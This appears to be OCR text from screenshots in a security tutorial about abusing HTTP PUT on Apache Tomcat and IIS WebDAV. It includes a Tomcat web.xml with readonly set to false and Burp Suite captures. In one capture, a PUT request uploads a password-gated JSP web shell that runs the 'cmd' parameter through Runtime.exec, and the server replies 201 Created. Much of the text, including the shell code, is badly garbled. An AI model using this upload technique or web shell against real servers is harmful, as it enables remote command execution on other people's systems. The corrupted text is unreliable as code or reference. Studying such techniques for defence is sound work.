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HTTP1.0EX T =MiEkAi%: GET, POST #] HEADJ 5%

HTTP1. 13 T RfERA3%: OPTIONS, PUT, DELETE, TRACE #1 CONNECT /3%
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Apache Tomcat

AT A HrtomeatiX NI, 7525 4 i tomecatiE TPUTERME, Inl [t 7E /conf/web.xml

<servlet>

<servlet-name>default</servlet-name>

<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>

<init-param>
<param-name>debug</param-name>
<param-value>@</param-value>

</init-param>

<init-param>
<{param-name>listings</param-name>
<param-value>false</param-value>

</init-param>

<init-param>
<param-name>readonly</param-name>
<param-value)false</p§?am—value>

</init-param>

<load-on-startup>1</load-on-startup>

<[/servlet>




Apache Tomcat

| Target |

PUT L&

I Spider J Scanner I Intruder i Repeater | Sequencer J Decoder l Comparer l Extender

Project options. | User options | Alerts J

I™A

Go < | v

_fm:] Params | Headers | Hex [ auL |

Jhw Headers 1 Hex |

sp/ HTTP/Ll.1
1g8.23.20%:8080

close
ontent-Length: E£&84

nnect ion

<i@ page language="jax
pageEncoding="UTF~-

Puntime. getPuntime().exec
InputStreanPeader (pro
= buf.readline()) !

;BufferedReader buf

null (line. append(cenp
+"\\n");)buf.close();} catch (Exception e)
{line. append(e. getMessage());}return

ra® import="java.util.* java.io.*"
><b lpublic static String excuteCadiString c)
{SctringBuilder line = new ScringBuilder();try (Process pr«

= new BufferedReader (new

getInputStream()));String temp = null;vhile (itemp

line toScring();}><¥1f("023". equals (request. getParameter ("pwd”) ) &&!"". . eq

uals(request. getParameter
getParameter ("cmd”) ) +*«

Cyber Works:

d"))) (out.princin(*<pre>"texcuteCmd (request
*);i)}else{out.princln{®:=)");}>

e

HTTP/1.1
Server

201 Created
Apache-Coyote/1.1
Content-Length: 0
Date: Wed, Z0 Sep Z017 12:05:45 GHMT
Connection

close
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i. Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecyn - (=] X

[ Tanget | ISpmr [Scannsr [ intruger [Rﬂpsalsfl Sequencer | Diecoder | comparer I. Extender [Fm]sc[ options [User options | Alerts |
[1=T2-T3~T - el |
| Ge v v Target: http://192.168.3,110 _l' ¥

Raw | Params [.»eaﬂers ] Hex | J Raw | Headers IHax |

DPTIONS /Accessinj/ HTTP/1.1 & HTTP/1.1 200 OK i
Host: 192,168.3.1 [ Connection: close r
User-Agent: Mozilla/5.0 (Aindows NT 10.0; \Win64: »64: rv 08 May 2019 18:21:06 GMT
Gecko /20100107 Firefox/ r: Microsoft-115/6.0
Accept: ered-By: ASPNET
text/html application/xhtmi +<mi,application/xml:q=0.9%/*q=08 MS-Author-Via: DAV
Content-Length: 0
! Accept-Ranges
Cookie: KKK=ns; DASL: <DAV:sql>
A4SPSESSIONIDSCCTRCQD = DAV: 1,2
Connection: close Hublic: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Upgrade-Insecure-Requests: 1 Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Cache-Control: private
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